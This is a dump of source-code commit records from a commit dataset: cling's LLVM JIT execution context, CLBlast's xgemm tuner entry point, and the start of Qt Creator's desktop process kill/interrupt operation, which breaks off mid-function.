llvm::ConstantArray *InitList\n = llvm::dyn_cast<llvm::ConstantArray>(GV->getInitializer());\n if (InitList == 0)\n return kExeSuccess;\n\n m_RunningStaticInits = true;\n\n \/\/ We don't care whether something was unresolved before.\n m_unresolvedSymbols.clear();\n\n for (unsigned i = 0, e = InitList->getNumOperands(); i != e; ++i) {\n llvm::ConstantStruct *CS\n = llvm::dyn_cast<llvm::ConstantStruct>(InitList->getOperand(i));\n if (CS == 0) continue;\n\n llvm::Constant *FP = CS->getOperand(1);\n if (FP->isNullValue())\n continue; \/\/ Found a sentinal value, ignore.\n\n \/\/ Strip off constant expression casts.\n if (llvm::ConstantExpr *CE = llvm::dyn_cast<llvm::ConstantExpr>(FP))\n if (CE->isCast())\n FP = CE->getOperand(0);\n\n \/\/ Execute the ctor\/dtor function!\n if (llvm::Function *F = llvm::dyn_cast<llvm::Function>(FP)) {\n m_engine->getPointerToFunction(F);\n \/\/ check if there is any unresolved symbol in the list\n if (!m_unresolvedSymbols.empty()) {\n llvm::SmallVector<llvm::Function*, 100> funcsToFree;\n for (std::set<std::string>::const_iterator i = m_unresolvedSymbols.begin(),\n e = m_unresolvedSymbols.end(); i != e; ++i) {\n llvm::errs() << \"ExecutionContext::runStaticInitializersOnce: symbol '\" << *i\n << \"' unresolved while linking static initializer '\"\n << F->getName() << \"'!\\n\";\n llvm::Function *ff = m_engine->FindFunctionNamed(i->c_str());\n assert(ff && \"cannot find function to free\");\n funcsToFree.push_back(ff);\n }\n freeCallersOfUnresolvedSymbols(funcsToFree, m_engine.get());\n m_unresolvedSymbols.clear();\n m_RunningStaticInits = false;\n return kExeUnresolvedSymbols;\n }\n m_engine->runFunction(F, std::vector<llvm::GenericValue>());\n }\n }\n\n GV->eraseFromParent();\n\n m_RunningStaticInits = false;\n return kExeSuccess;\n}\n\nvoid\nExecutionContext::runStaticDestructorsOnce(llvm::Module* m) {\n assert(m && \"Module must not be null\");\n assert(m_engine && \"Code generation did not create an engine!\");\n\n llvm::GlobalVariable* gdtors\n = m->getGlobalVariable(\"llvm.global_dtors\", true);\n if (gdtors) {\n m_engine->runStaticConstructorsDestructors(true);\n }\n\n \/\/ 'Unload' the cxa_atexit entities.\n for (size_t I = 0, E = m_AtExitFuncs.size(); I < E; ++I) {\n const CXAAtExitElement& AEE = m_AtExitFuncs[E-I-1];\n (*AEE.m_Func)(AEE.m_Arg);\n }\n m_AtExitFuncs.clear();\n}\n\nint\nExecutionContext::verifyModule(llvm::Module* m)\n{\n \/\/\n \/\/ Verify generated module.\n \/\/\n bool mod_has_errs = llvm::verifyModule(*m, llvm::PrintMessageAction);\n if (mod_has_errs) {\n return 1;\n }\n return 0;\n}\n\nvoid\nExecutionContext::printModule(llvm::Module* m)\n{\n \/\/\n \/\/ Print module LLVM code in human-readable form.\n \/\/\n llvm::PassManager PM;\n PM.add(llvm::createPrintModulePass(&llvm::errs()));\n PM.run(*m);\n}\n\nvoid\nExecutionContext::installLazyFunctionCreator(LazyFunctionCreatorFunc_t fp)\n{\n m_lazyFuncCreator.push_back(fp);\n}\n\nbool ExecutionContext::addSymbol(const char* symbolName, void* symbolAddress) {\n\n void* actualAddress\n = llvm::sys::DynamicLibrary::SearchForAddressOfSymbol(symbolName);\n if (actualAddress)\n return false;\n\n llvm::sys::DynamicLibrary::AddSymbol(symbolName, symbolAddress);\n return true;\n}\n\nvoid* ExecutionContext::getAddressOfGlobal(llvm::Module* m,\n const char* symbolName,\n bool* fromJIT \/*=0*\/) const {\n \/\/ Return a symbol's address, and whether it was jitted.\n void* address\n = llvm::sys::DynamicLibrary::SearchForAddressOfSymbol(symbolName);\n if (address) {\n if (fromJIT) *fromJIT = false;\n } else {\n if (fromJIT) *fromJIT = true;\n llvm::GlobalVariable* gvar = m->getGlobalVariable(symbolName, true);\n if (!gvar)\n return 0;\n\n address = m_engine->getPointerToGlobal(gvar);\n }\n return address;\n}\n<commit_msg>Capture non-functions in caller insted of passing 0; add assert against 0.<commit_after>\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author: Axel Naumann <axel@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#include \"ExecutionContext.h\"\n\n#include \"cling\/Interpreter\/StoredValueRef.h\"\n\n#include \"clang\/AST\/Type.h\"\n\n#include \"llvm\/IR\/Constants.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/PassManager.h\"\n#include \"llvm\/ADT\/SmallPtrSet.h\"\n#include \"llvm\/Analysis\/Verifier.h\"\n#include \"llvm\/Assembly\/PrintModulePass.h\"\n#include \"llvm\/ExecutionEngine\/GenericValue.h\"\n#include \"llvm\/ExecutionEngine\/JIT.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/DynamicLibrary.h\"\n\nusing namespace cling;\n\nstd::set<std::string> ExecutionContext::m_unresolvedSymbols;\nstd::vector<ExecutionContext::LazyFunctionCreatorFunc_t>\n ExecutionContext::m_lazyFuncCreator;\n\nbool ExecutionContext::m_LazyFuncCreatorDiagsSuppressed = false;\n\n\/\/ Keep in source: OwningPtr<ExecutionEngine> needs #include ExecutionEngine\nExecutionContext::ExecutionContext(llvm::Module* m) \n : m_RunningStaticInits(false), m_CxaAtExitRemapped(false)\n{\n assert(m && \"llvm::Module must not be null!\");\n m_AtExitFuncs.reserve(256);\n InitializeBuilder(m);\n}\n\n\/\/ Keep in source: ~OwningPtr<ExecutionEngine> needs #include ExecutionEngine\nExecutionContext::~ExecutionContext() {\n for (size_t I = 0, N = m_AtExitFuncs.size(); I < N; ++I) {\n const CXAAtExitElement& AEE = m_AtExitFuncs[N - I - 1];\n (*AEE.m_Func)(AEE.m_Arg);\n }\n}\n\nvoid ExecutionContext::InitializeBuilder(llvm::Module* m) {\n \/\/\n \/\/ Create an execution engine to use.\n \/\/\n assert(m && \"Module cannot be null\");\n\n \/\/ Note: Engine takes ownership of the module.\n llvm::EngineBuilder builder(m);\n\n std::string errMsg;\n builder.setErrorStr(&errMsg);\n builder.setOptLevel(llvm::CodeGenOpt::Less);\n builder.setEngineKind(llvm::EngineKind::JIT);\n builder.setAllocateGVsWithCode(false);\n\n \/\/ EngineBuilder uses default c'ted TargetOptions, too:\n llvm::TargetOptions TargetOpts;\n TargetOpts.NoFramePointerElim = 1;\n TargetOpts.JITEmitDebugInfo = 1;\n\n builder.setTargetOptions(TargetOpts);\n\n m_engine.reset(builder.create());\n if (!m_engine)\n llvm::errs() << \"cling::ExecutionContext::InitializeBuilder(): \" << errMsg;\n assert(m_engine && \"Cannot create module!\");\n\n \/\/ install lazy function creators\n m_engine->InstallLazyFunctionCreator(NotifyLazyFunctionCreators);\n}\n\nint ExecutionContext::CXAAtExit(void (*func) (void*), void* arg, void* dso, \n void* clangDecl) {\n \/\/ Register a CXAAtExit function\n clang::Decl* LastTLD = (clang::Decl*)clangDecl;\n m_AtExitFuncs.push_back(CXAAtExitElement(func, arg, dso, LastTLD));\n return 0; \/\/ happiness\n}\n\nvoid unresolvedSymbol()\n{\n \/\/ throw exception?\n llvm::errs() << \"ExecutionContext: calling unresolved symbol, \"\n \"see previous error message!\\n\";\n}\n\nvoid* ExecutionContext::HandleMissingFunction(const std::string& mangled_name)\n{\n \/\/ Not found in the map, add the symbol in the list of unresolved symbols\n if (m_unresolvedSymbols.insert(mangled_name).second) {\n llvm::errs() << \"ExecutionContext: use of undefined symbol '\"\n << mangled_name << \"'!\\n\";\n }\n\n \/\/ Avoid \"ISO C++ forbids casting between pointer-to-function and\n \/\/ pointer-to-object\":\n return (void*)reinterpret_cast<size_t>(unresolvedSymbol);\n}\n\nvoid*\nExecutionContext::NotifyLazyFunctionCreators(const std::string& mangled_name)\n{\n for (std::vector<LazyFunctionCreatorFunc_t>::iterator it\n = m_lazyFuncCreator.begin(), et = m_lazyFuncCreator.end();\n it != et; ++it) {\n void* ret = (void*)((LazyFunctionCreatorFunc_t)*it)(mangled_name);\n if (ret) \n return ret;\n }\n\n if (m_LazyFuncCreatorDiagsSuppressed)\n return 0;\n\n return HandleMissingFunction(mangled_name);\n}\n\nstatic void\nfreeCallersOfUnresolvedSymbols(llvm::SmallVectorImpl<llvm::Function*>&\n funcsToFree, llvm::ExecutionEngine* engine) {\n llvm::SmallPtrSet<llvm::Function*, 40> funcsToFreeUnique;\n for (size_t i = 0; i < funcsToFree.size(); ++i) {\n llvm::Function* func = funcsToFree[i];\n assert(func && \"Cannot free NULL function\");\n if (funcsToFreeUnique.insert(func)) {\n for (llvm::Value::use_iterator IU = func->use_begin(),\n EU = func->use_end(); IU != EU; ++IU) {\n llvm::Instruction* instUser = llvm::dyn_cast<llvm::Instruction>(*IU);\n if (!instUser) continue;\n if (!instUser->getParent()) continue;\n if (llvm::Function* userFunc = instUser->getParent()->getParent())\n funcsToFree.push_back(userFunc);\n }\n }\n }\n for (llvm::SmallPtrSet<llvm::Function*, 40>::iterator\n I = funcsToFreeUnique.begin(), E = funcsToFreeUnique.end();\n I != E; ++I) {\n \/\/ This should force the JIT to recompile the function. But the stubs stay,\n \/\/ and the JIT reuses the stubs now pointing nowhere, i.e. without updating\n \/\/ the machine code address. Fix the JIT, or hope that MCJIT helps.\n \/\/engine->freeMachineCodeForFunction(*I);\n engine->updateGlobalMapping(*I, 0);\n }\n}\n\nExecutionContext::ExecutionResult\nExecutionContext::executeFunction(llvm::StringRef funcname,\n const clang::ASTContext& Ctx,\n clang::QualType retType,\n StoredValueRef* returnValue)\n{\n \/\/ Call a function without arguments, or with an SRet argument, see SRet below\n\n if (!m_CxaAtExitRemapped) {\n \/\/ Rewire atexit:\n llvm::Function* atExit = m_engine->FindFunctionNamed(\"__cxa_atexit\");\n llvm::Function* clingAtExit\n = m_engine->FindFunctionNamed(\"cling_cxa_atexit\");\n if (atExit && clingAtExit) {\n void* clingAtExitAddr = m_engine->getPointerToFunction(clingAtExit);\n assert(clingAtExitAddr && \"cannot find cling_cxa_atexit\");\n m_engine->updateGlobalMapping(atExit, clingAtExitAddr);\n m_CxaAtExitRemapped = true;\n }\n }\n\n \/\/ We don't care whether something was unresolved before.\n m_unresolvedSymbols.clear();\n\n llvm::Function* f = m_engine->FindFunctionNamed(funcname.str().c_str());\n if (!f) {\n llvm::errs() << \"ExecutionContext::executeFunction: \"\n \"could not find function named \" << funcname << '\\n';\n return kExeFunctionNotCompiled;\n }\n m_engine->getPointerToFunction(f);\n \/\/ check if there is any unresolved symbol in the list\n if (!m_unresolvedSymbols.empty()) {\n llvm::SmallVector<llvm::Function*, 100> funcsToFree;\n for (std::set<std::string>::const_iterator i = m_unresolvedSymbols.begin(),\n e = m_unresolvedSymbols.end(); i != e; ++i) {\n llvm::errs() << \"ExecutionContext::executeFunction: symbol '\" << *i\n << \"' unresolved while linking function '\" << funcname\n << \"'!\\n\";\n llvm::Function *ff = m_engine->FindFunctionNamed(i->c_str());\n \/\/ i could also reference a global variable, in which case ff == 0.\n if (ff)\n funcsToFree.push_back(ff);\n }\n freeCallersOfUnresolvedSymbols(funcsToFree, m_engine.get());\n m_unresolvedSymbols.clear();\n return kExeUnresolvedSymbols;\n }\n\n std::vector<llvm::GenericValue> args;\n bool wantReturn = (returnValue);\n StoredValueRef aggregateRet;\n\n if (f->hasStructRetAttr()) {\n \/\/ Function expects to receive the storage for the returned aggregate as\n \/\/ first argument. Allocate returnValue:\n aggregateRet = StoredValueRef::allocate(Ctx, retType, f->getReturnType());\n if (returnValue) {\n *returnValue = aggregateRet;\n } else {\n returnValue = &aggregateRet;\n }\n args.push_back(returnValue->get().getGV());\n \/\/ will get set as arg0, must not assign.\n wantReturn = false;\n }\n\n if (wantReturn) {\n llvm::GenericValue gvRet = m_engine->runFunction(f, args);\n \/\/ rescue the ret value (which might be aggregate) from the stack\n *returnValue = StoredValueRef::bitwiseCopy(Ctx, Value(gvRet, retType));\n } else {\n m_engine->runFunction(f, args);\n }\n\n return kExeSuccess;\n}\n\n\nExecutionContext::ExecutionResult\nExecutionContext::runStaticInitializersOnce(llvm::Module* m) {\n assert(m && \"Module must not be null\");\n assert(m_engine && \"Code generation did not create an engine!\");\n\n if (m_RunningStaticInits)\n return kExeSuccess;\n\n llvm::GlobalVariable* GV\n = m->getGlobalVariable(\"llvm.global_ctors\", true);\n \/\/ Nothing to do is good, too.\n if (!GV) return kExeSuccess;\n\n \/\/ Close similarity to\n \/\/ m_engine->runStaticConstructorsDestructors(false) aka\n \/\/ llvm::ExecutionEngine::runStaticConstructorsDestructors()\n \/\/ is intentional; we do an extra pass to check whether the JIT\n \/\/ managed to collect all the symbols needed by the niitializers.\n \/\/ Should be an array of '{ i32, void ()* }' structs. The first value is\n \/\/ the init priority, which we ignore.\n llvm::ConstantArray *InitList\n = llvm::dyn_cast<llvm::ConstantArray>(GV->getInitializer());\n if (InitList == 0)\n return kExeSuccess;\n\n m_RunningStaticInits = true;\n\n \/\/ We don't care whether something was unresolved before.\n m_unresolvedSymbols.clear();\n\n for (unsigned i = 0, e = InitList->getNumOperands(); i != e; ++i) {\n llvm::ConstantStruct *CS\n = llvm::dyn_cast<llvm::ConstantStruct>(InitList->getOperand(i));\n if (CS == 0) continue;\n\n llvm::Constant *FP = CS->getOperand(1);\n if (FP->isNullValue())\n continue; \/\/ Found a sentinal value, ignore.\n\n \/\/ Strip off constant expression casts.\n if (llvm::ConstantExpr *CE = llvm::dyn_cast<llvm::ConstantExpr>(FP))\n if (CE->isCast())\n FP = CE->getOperand(0);\n\n \/\/ Execute the ctor\/dtor function!\n if (llvm::Function *F = llvm::dyn_cast<llvm::Function>(FP)) {\n m_engine->getPointerToFunction(F);\n \/\/ check if there is any unresolved symbol in the list\n if (!m_unresolvedSymbols.empty()) {\n llvm::SmallVector<llvm::Function*, 100> funcsToFree;\n for (std::set<std::string>::const_iterator i = m_unresolvedSymbols.begin(),\n e = m_unresolvedSymbols.end(); i != e; ++i) {\n llvm::errs() << \"ExecutionContext::runStaticInitializersOnce: symbol '\" << *i\n << \"' unresolved while linking static initializer '\"\n << F->getName() << \"'!\\n\";\n llvm::Function *ff = m_engine->FindFunctionNamed(i->c_str());\n assert(ff && \"cannot find function to free\");\n funcsToFree.push_back(ff);\n }\n freeCallersOfUnresolvedSymbols(funcsToFree, m_engine.get());\n m_unresolvedSymbols.clear();\n m_RunningStaticInits = false;\n return kExeUnresolvedSymbols;\n }\n m_engine->runFunction(F, std::vector<llvm::GenericValue>());\n }\n }\n\n GV->eraseFromParent();\n\n m_RunningStaticInits = false;\n return kExeSuccess;\n}\n\nvoid\nExecutionContext::runStaticDestructorsOnce(llvm::Module* m) {\n assert(m && \"Module must not be null\");\n assert(m_engine && \"Code generation did not create an engine!\");\n\n llvm::GlobalVariable* gdtors\n = m->getGlobalVariable(\"llvm.global_dtors\", true);\n if (gdtors) {\n m_engine->runStaticConstructorsDestructors(true);\n }\n\n \/\/ 'Unload' the cxa_atexit entities.\n for (size_t I = 0, E = m_AtExitFuncs.size(); I < E; ++I) {\n const CXAAtExitElement& AEE = m_AtExitFuncs[E-I-1];\n (*AEE.m_Func)(AEE.m_Arg);\n }\n m_AtExitFuncs.clear();\n}\n\nint\nExecutionContext::verifyModule(llvm::Module* m)\n{\n \/\/\n \/\/ Verify generated module.\n \/\/\n bool mod_has_errs = llvm::verifyModule(*m, llvm::PrintMessageAction);\n if (mod_has_errs) {\n return 1;\n }\n return 0;\n}\n\nvoid\nExecutionContext::printModule(llvm::Module* m)\n{\n \/\/\n \/\/ Print module LLVM code in human-readable form.\n \/\/\n llvm::PassManager PM;\n PM.add(llvm::createPrintModulePass(&llvm::errs()));\n PM.run(*m);\n}\n\nvoid\nExecutionContext::installLazyFunctionCreator(LazyFunctionCreatorFunc_t fp)\n{\n m_lazyFuncCreator.push_back(fp);\n}\n\nbool ExecutionContext::addSymbol(const char* symbolName, void* symbolAddress) {\n\n void* actualAddress\n = llvm::sys::DynamicLibrary::SearchForAddressOfSymbol(symbolName);\n if (actualAddress)\n return false;\n\n llvm::sys::DynamicLibrary::AddSymbol(symbolName, symbolAddress);\n return true;\n}\n\nvoid* ExecutionContext::getAddressOfGlobal(llvm::Module* m,\n const char* symbolName,\n bool* fromJIT \/*=0*\/) const {\n \/\/ Return a symbol's address, and whether it was jitted.\n void* address\n = llvm::sys::DynamicLibrary::SearchForAddressOfSymbol(symbolName);\n if (address) {\n if (fromJIT) *fromJIT = false;\n } else {\n if (fromJIT) *fromJIT = true;\n llvm::GlobalVariable* gvar = m->getGlobalVariable(symbolName, true);\n if (!gvar)\n return 0;\n\n address = m_engine->getPointerToGlobal(gvar);\n }\n return address;\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ =================================================================================================\n\/\/ This file is part of the CLBlast project. The project is licensed under Apache Version 2.0. This\n\/\/ project loosely follows the Google C++ styleguide and uses a tab-size of two spaces and a max-\n\/\/ width of 100 characters per line.\n\/\/\n\/\/ Author(s):\n\/\/ Cedric Nugteren <www.cedricnugteren.nl>\n\/\/\n\/\/ This file uses the auto-tuner to tune the xgemm OpenCL kernels.\n\/\/\n\/\/ =================================================================================================\n\n#include \"tuning\/kernels\/xgemm.hpp\"\n\n\/\/ Shortcuts to the clblast namespace\nusing half = clblast::half;\nusing float2 = clblast::float2;\nusing double2 = clblast::double2;\n\n\/\/ Function to tune a specific variation V (not within the clblast namespace)\ntemplate <int V>\nvoid StartVariation(int argc, char *argv[]) {\n const auto command_line_args = clblast::RetrieveCommandLineArguments(argc, argv);\n switch(clblast::GetPrecision(command_line_args)) {\n case clblast::Precision::kHalf: clblast::Tuner<half>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<half>, clblast::XgemmTestValidArguments<half>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<half>, clblast::XgemmSetArguments<half>); break;\n case clblast::Precision::kSingle: clblast::Tuner<float>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<float>, clblast::XgemmTestValidArguments<float>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<float>, clblast::XgemmSetArguments<float>); break;\n case clblast::Precision::kDouble: clblast::Tuner<double>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<double>, clblast::XgemmTestValidArguments<double>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<double>, clblast::XgemmSetArguments<double>); break;\n case clblast::Precision::kComplexSingle: clblast::Tuner<float2>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<float2>, clblast::XgemmTestValidArguments<float2>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<float2>, clblast::XgemmSetArguments<float2>); break;\n case clblast::Precision::kComplexDouble: clblast::Tuner<double2>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<double2>, clblast::XgemmTestValidArguments<double2>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<double2>, clblast::XgemmSetArguments<double2>); break;\n }\n}\n\n\/\/ Main function (not within the clblast namespace)\nint main(int argc, char *argv[]) {\n \/\/StartVariation<1>(argc, argv);\n \/\/StartVariation<2>(argc, argv);\n StartVariation<11>(argc, argv);\n StartVariation<12>(argc, argv);\n return 0;\n}\n\n\/\/ =================================================================================================\n<commit_msg>forgot to add test cases back in, oops<commit_after>\n\/\/ =================================================================================================\n\/\/ This file is part of the CLBlast project. The project is licensed under Apache Version 2.0. This\n\/\/ project loosely follows the Google C++ styleguide and uses a tab-size of two spaces and a max-\n\/\/ width of 100 characters per line.\n\/\/\n\/\/ Author(s):\n\/\/ Cedric Nugteren <www.cedricnugteren.nl>\n\/\/\n\/\/ This file uses the auto-tuner to tune the xgemm OpenCL kernels.\n\/\/\n\/\/ =================================================================================================\n\n#include \"tuning\/kernels\/xgemm.hpp\"\n\n\/\/ Shortcuts to the clblast namespace\nusing half = clblast::half;\nusing float2 = clblast::float2;\nusing double2 = clblast::double2;\n\n\/\/ Function to tune a specific variation V (not within the clblast namespace)\ntemplate <int V>\nvoid StartVariation(int argc, char *argv[]) {\n const auto command_line_args = clblast::RetrieveCommandLineArguments(argc, argv);\n switch(clblast::GetPrecision(command_line_args)) {\n case clblast::Precision::kHalf: clblast::Tuner<half>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<half>, clblast::XgemmTestValidArguments<half>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<half>, clblast::XgemmSetArguments<half>); break;\n case clblast::Precision::kSingle: clblast::Tuner<float>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<float>, clblast::XgemmTestValidArguments<float>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<float>, clblast::XgemmSetArguments<float>); break;\n case clblast::Precision::kDouble: clblast::Tuner<double>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<double>, clblast::XgemmTestValidArguments<double>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<double>, clblast::XgemmSetArguments<double>); break;\n case clblast::Precision::kComplexSingle: clblast::Tuner<float2>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<float2>, clblast::XgemmTestValidArguments<float2>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<float2>, clblast::XgemmSetArguments<float2>); break;\n case clblast::Precision::kComplexDouble: clblast::Tuner<double2>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<double2>, clblast::XgemmTestValidArguments<double2>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<double2>, clblast::XgemmSetArguments<double2>); break;\n }\n}\n\n\/\/ Main function (not within the clblast namespace)\nint main(int argc, char *argv[]) {\n StartVariation<1>(argc, argv);\n StartVariation<2>(argc, argv);\n StartVariation<11>(argc, argv);\n StartVariation<12>(argc, argv);\n return 0;\n}\n\n\/\/ =================================================================================================\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n#include \"desktopprocesssignaloperation.h\"\n\n#include \"localprocesslist.h\"\n\n#include <utils\/winutils.h>\n\n#include <QDir>\n\n#ifdef Q_OS_WIN\n#define _WIN32_WINNT 0x0502\n#include <windows.h>\n#ifndef PROCESS_SUSPEND_RESUME\n#define PROCESS_SUSPEND_RESUME 0x0800\n#endif \/\/ PROCESS_SUSPEND_RESUME\n#else \/\/ Q_OS_WIN\n#include <errno.h>\n#include <signal.h>\n#endif \/\/ else Q_OS_WIN\n\nnamespace ProjectExplorer {\n\nvoid DesktopProcessSignalOperation::killProcess(int pid)\n{\n killProcessSilently(pid);\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::killProcess(const QString &filePath)\n{\n m_errorMessage.clear();\n foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) {\n if (process.cmdLine == filePath)\n killProcessSilently(process.pid);\n }\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(int pid)\n{\n m_errorMessage.clear();\n interruptProcessSilently(pid);\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(const QString &filePath)\n{\n interruptProcess(filePath, NoSpecialInterrupt);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(int pid, SpecialInterrupt specialInterrupt)\n{\n m_errorMessage.clear();\n interruptProcessSilently(pid, specialInterrupt);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(const QString &filePath,\n SpecialInterrupt specialInterrupt)\n{\n m_errorMessage.clear();\n foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) {\n if (process.cmdLine == filePath)\n interruptProcessSilently(process.pid, specialInterrupt);\n }\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::appendMsgCannotKill(int pid, const QString &why)\n{\n if (!m_errorMessage.isEmpty())\n m_errorMessage += QChar::fromLatin1('\\n');\n m_errorMessage += tr(\"Cannot kill process with pid %1: %3 \").arg(pid).arg(why);\n}\n\nvoid DesktopProcessSignalOperation::appendMsgCannotInterrupt(int pid, const QString &why)\n{\n if (!m_errorMessage.isEmpty())\n m_errorMessage += QChar::fromLatin1('\\n');\n m_errorMessage += tr(\"Cannot interrupt process with pid %1: %3 \").arg(pid).arg(why);\n}\n\nvoid DesktopProcessSignalOperation::killProcessSilently(int pid)\n{\n#ifdef Q_OS_WIN\n const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION\n |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ\n |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME;\n if (const HANDLE handle = OpenProcess(rights, FALSE, pid)) {\n if (!TerminateProcess(handle, UINT(-1)))\n appendMsgCannotKill(pid, Utils::winErrorMessage(GetLastError()));\n CloseHandle(handle);\n } else {\n appendMsgCannotKill(pid, tr(\"Cannot open process.\"));\n }\n#else\n if (pid <= 0)\n appendMsgCannotKill(pid, tr(\"Invalid process id.\"));\n else if (kill(pid, SIGKILL))\n appendMsgCannotKill(pid, QString::fromLocal8Bit(strerror(errno)));\n#endif \/\/ Q_OS_WIN\n}\n\nvoid DesktopProcessSignalOperation::interruptProcessSilently(\n int pid, SpecialInterrupt specialInterrupt)\n{\n#ifdef Q_OS_WIN\n \/*\n Windows 64 bit has a 32 bit subsystem (WOW64) which makes it possible to run a\n 32 bit application inside a 64 bit environment.\n When GDB is used DebugBreakProcess must be called from the same system (32\/64 bit) running\n the inferior. If CDB is used we could in theory break wow64 processes,\n but the break is actually a wow64 breakpoint. CDB is configured to ignore these\n breakpoints, because they also appear on module loading.\n Therefore we need helper executables (win(32\/64)interrupt.exe) on Windows 64 bit calling\n DebugBreakProcess from the correct system.\n\n DebugBreak matrix for windows\n\n Api = UseDebugBreakApi\n Win64 = UseWin64InterruptHelper\n Win32 = UseWin32InterruptHelper\n N\/A = This configuration is not possible\n\n | Windows 32bit | Windows 64bit\n | QtCreator 32bit | QtCreator 32bit | QtCreator 64bit\n | Inferior 32bit | Inferior 32bit | Inferior 64bit | Inferior 32bit | Inferior 64bit\n----------|-----------------|-----------------|-----------------|-----------------|----------------\nCDB 32bit | Api | Api | N\/A | Win32 | N\/A\n 64bit | N\/A | Win64 | Win64 | Api | Api\n----------|-----------------|-----------------|-----------------|-----------------|----------------\nGDB 32bit | Api | Api | N\/A | Win32 | N\/A\n 64bit | N\/A | N\/A | Win64 | N\/A | Api\n----------|-----------------|-----------------|-----------------|-----------------|----------------\n\n *\/\n HANDLE inferior = NULL;\n do {\n const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION\n |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ\n |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME;\n inferior = OpenProcess(rights, FALSE, pid);\n if (inferior == NULL) {\n appendMsgCannotInterrupt(pid, tr(\"Cannot open process: %1\")\n + Utils::winErrorMessage(GetLastError()));\n break;\n }\n bool creatorIs64Bit = Utils::winIs64BitBinary(qApp->applicationFilePath());\n if (!Utils::winIs64BitSystem() ||\n specialInterrupt == NoSpecialInterrupt ||\n specialInterrupt == Win64Interrupt && creatorIs64Bit ||\n specialInterrupt == Win32Interrupt && !creatorIs64Bit) {\n if (!DebugBreakProcess(inferior)) {\n appendMsgCannotInterrupt(pid, tr(\"DebugBreakProcess failed: \")\n + Utils::winErrorMessage(GetLastError()));\n }\n } else if (specialInterrupt == Win32Interrupt\n || specialInterrupt == Win64Interrupt) {\n QString executable = QCoreApplication::applicationDirPath();\n executable += specialInterrupt == Win32Interrupt\n ? QLatin1String(\"\/win32interrupt.exe\")\n : QLatin1String(\"\/win64interrupt.exe\");\n if (!QFile::exists(executable)) {\n appendMsgCannotInterrupt(pid, tr( \"%1 does not exist. If you have built QtCreator \"\n \"on your own ,checkout http:\/\/qt.gitorious.org\/\"\n \"qt-creator\/binary-artifacts.\").\n arg(QDir::toNativeSeparators(executable)));\n }\n switch (QProcess::execute(executable, QStringList(QString::number(pid)))) {\n case -2:\n appendMsgCannotInterrupt(pid, tr(\n \"Cannot start %1. Check src\\\\tools\\\\win64interrupt\\\\win64interrupt.c \"\n \"for more information.\").arg(QDir::toNativeSeparators(executable)));\n break;\n case 0:\n break;\n default:\n appendMsgCannotInterrupt(pid, QDir::toNativeSeparators(executable)\n + tr(\" could not break the process.\"));\n 